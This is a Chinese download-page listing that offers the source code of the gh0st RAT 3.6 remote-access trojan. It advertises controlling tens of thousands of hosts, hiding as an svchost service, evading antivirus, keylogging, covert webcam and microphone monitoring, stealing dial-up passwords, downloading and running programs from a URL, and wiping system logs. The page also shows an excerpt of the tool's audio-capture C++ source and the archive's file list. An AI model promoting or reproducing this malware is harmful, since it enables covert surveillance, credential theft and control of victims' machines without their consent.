• 大小: 872KB
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2021-07-07
  • 语言: 其他
  • 标签:

资源简介

gh0st RAT是红狼小组出品的一款很优秀的远程控制软件。自从红狼上次公布了gh0st 2.5版本的源代码之后,就一直没开源了,这次更新的gh0st 3.6 又再次开源 Gh0st RAT C.Rufus Security Team http://www.wolfexp.net 控制端采用IOCP模型,数据传输采用zlib压缩方式 稳定快速,上线数量无上限,可同时控制上万台主机 控制端自动检测CPU使用率调整自己的工作线程, 稳定高效 宿主为svchost以系统服务启动,有远程守护线程,上线间隔为两分钟。 心跳包机制防止意外掉线.. 支持HTTP和DNS上线两种方式 自动恢复SSDT(这功能干什么,大家都知道,免杀自己做吧),安装本程序需要管理员权限 控制端279K,返朴归真的界面,生成的服务端无壳,106 K,EXE内的资源用UPX压缩, 可安装多个服务端 其它细节方面的功能大家自己去发现吧 功能: 文件管理 完全仿Radmin所写, 文件、文件夹批量上传、删除、下载、创建、重命名 屏幕监视 扫描算法速度最快可达到120帧/秒,差异算法适合网络极差的情况下传输,传输速度快,控制屏幕,发送Ctrl+Alt+Del,剪贴板操作,7种色彩显示方式,等...... 键盘记录 可记录中英文信息,离线记录(记录上限50M)功能 远程终端 一个简单shell 系统管理 进程管理,窗口管理,拨号上网密码获取 视频查看 查看远程摄像头,快照,录像,压缩等功能... 语音监听 监听远程语音,同时也可以把本地语音传送给远程,进行语音聊天,GSM610压缩方式,传输流畅 会话管理 注销,重启,关机,卸载服务端 其它功能 下载执行指定URL中的程序,隐藏或者显示访问指定网址,清除系统日志 地址位置 将IP数据库文件QQWry.Dat放置程序同目录下即可显示地理位置 集群控制 可同时控制多台主机,同时打开视频监控等管理功能 备注功能 .........

资源截图

代码片段和文件信息

// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////

#include “Audio.h“

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CAudio::CAudio()
{
m_hEventWaveIn = CreateEvent(NULL false false NULL);
m_hStartRecord = CreateEvent(NULL false false NULL);
m_hThreadCallBack = NULL;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_nBufferLength = 1000; // m_GSMWavefmt.wfx.nSamplesPerSec / 8(bit)

m_bIsWaveInUsed = false;
m_bIsWaveOutUsed = false;

for (int i = 0; i < 2; i++)
{
m_lpInAudioData[i] = new BYTE[m_nBufferLength];
m_lpInAudioHdr[i] = new WAVEHDR;

m_lpOutAudioData[i] = new BYTE[m_nBufferLength];
m_lpOutAudioHdr[i] = new WAVEHDR;
}

memset(&m_GSMWavefmt 0 sizeof(GSM610WAVEFORMAT));

m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; // ACM will auto convert wave format
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
}

CAudio::~CAudio()
{
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack -1);
}

if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++)
waveOutUnprepareHeader(m_hWaveOut m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}


for (int i = 0; i < 2; i++)
{
delete [] m_lpInAudioData[i];
delete m_lpInAudioHdr[i];

delete [] m_lpOutAudioData[i];
delete m_lpOutAudioHdr[i];
}

CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}

LPBYTE CAudio::getRecordBuffer(LPDWORD lpdwBytes)
{
// Not open WaveIn yet so open it...
if (!m_bIsWaveInUsed && !InitializeWaveIn())
return NULL;

if (lpdwBytes == NULL)
return NULL;

SetEvent(m_hStartRecord);
WaitForSingleobject(m_hEventWaveIn INFINITE);
*lpdwBytes = m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}

bool CAudio::playBuffer(LPBYTE lpWaveBuffer DWORD dwBytes)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut())
return NULL;

for (int i = 0; i < dwBytes; i += m_nBufferLength)
{
memcpy(m_lpOutAudioData[m_nWaveOutIndex] lpWaveBuffer m_nBufferLength);
waveOutWrite(m_hWaveOut m_lpOutAudioHdr[m_nWaveOutIndex] sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}

bool CAudio::InitializeWaveIn()
{
if (!waveInGetNumDevs())
return false;

MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = CreateThread(NULL 0

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2012-07-31 23:27  common\
     文件        5195  2008-03-27 09:23  common\Audio.cpp
     文件        1280  2008-03-19 00:31  common\Audio.h
     文件        1810  2008-03-25 01:09  common\CursorInfo.h
     文件        4188  2008-05-19 01:06  common\macros.h
     文件        3636  2008-03-26 03:07  common\VideoCodec.h
     目录           0  2012-07-31 23:27  common\zlib\
     文件        7810  2008-01-04 21:42  common\zlib\zconf.h
     文件       40900  2008-01-04 21:42  common\zlib\zlib.h
     文件       81534  2007-11-14 21:29  common\zlib\zlib.lib
     目录           0  2012-10-22 10:49  gh0st\
     文件        3598  2008-03-27 09:18  gh0st\AudioDlg.cpp
     文件        1652  2008-03-19 11:10  gh0st\AudioDlg.h
     文件        1595  2008-03-26 16:55  gh0st\BmpToAvi.cpp
     文件         796  2008-03-26 16:57  gh0st\BmpToAvi.h
     文件        6088  2008-05-16 01:34  gh0st\BuildView.cpp
     文件        1869  2008-05-16 00:25  gh0st\BuildView.h
     目录           0  2012-07-31 23:27  gh0st\CJ60Lib\
     目录           0  2012-08-01 15:50  gh0st\CJ60Lib\CJ60Lib\
     文件        3805  1999-03-14 13:57  gh0st\CJ60Lib\CJ60Lib\CJ60Lib.clw
     文件        4852  1999-03-10 23:46  gh0st\CJ60Lib\CJ60Lib\CJ60lib.cpp
     文件         188  1998-11-06 03:35  gh0st\CJ60Lib\CJ60Lib\CJ60lib.def
     文件        9546  1999-03-12 18:08  gh0st\CJ60Lib\CJ60Lib\CJ60Lib.dsp
     文件        2705  1999-02-01 02:02  gh0st\CJ60Lib\CJ60Lib\CJ60Lib.dsw
     文件          40  2008-03-26 19:54  gh0st\CJ60Lib\CJ60Lib\CJ60Lib.positions
     文件        4590  1999-02-24 13:14  gh0st\CJ60Lib\CJ60Lib\CJ60Lib.rc
     文件        8113  2007-12-31 01:08  gh0st\CJ60Lib\CJ60Lib\CJ60StaticLib.dsp
     文件        5959  1999-03-14 01:05  gh0st\CJ60Lib\CJ60Lib\CJCaption.cpp
     文件       22780  1999-03-14 15:09  gh0st\CJ60Lib\CJ60Lib\CJControlBar.cpp
     文件        8363  1999-03-10 23:46  gh0st\CJ60Lib\CJ60Lib\CJDockBar.cpp
     文件       13408  1999-03-10 20:30  gh0st\CJ60Lib\CJ60Lib\CJDockContext.cpp
............此处省略244个文件信息

评论

共有 条评论

相关资源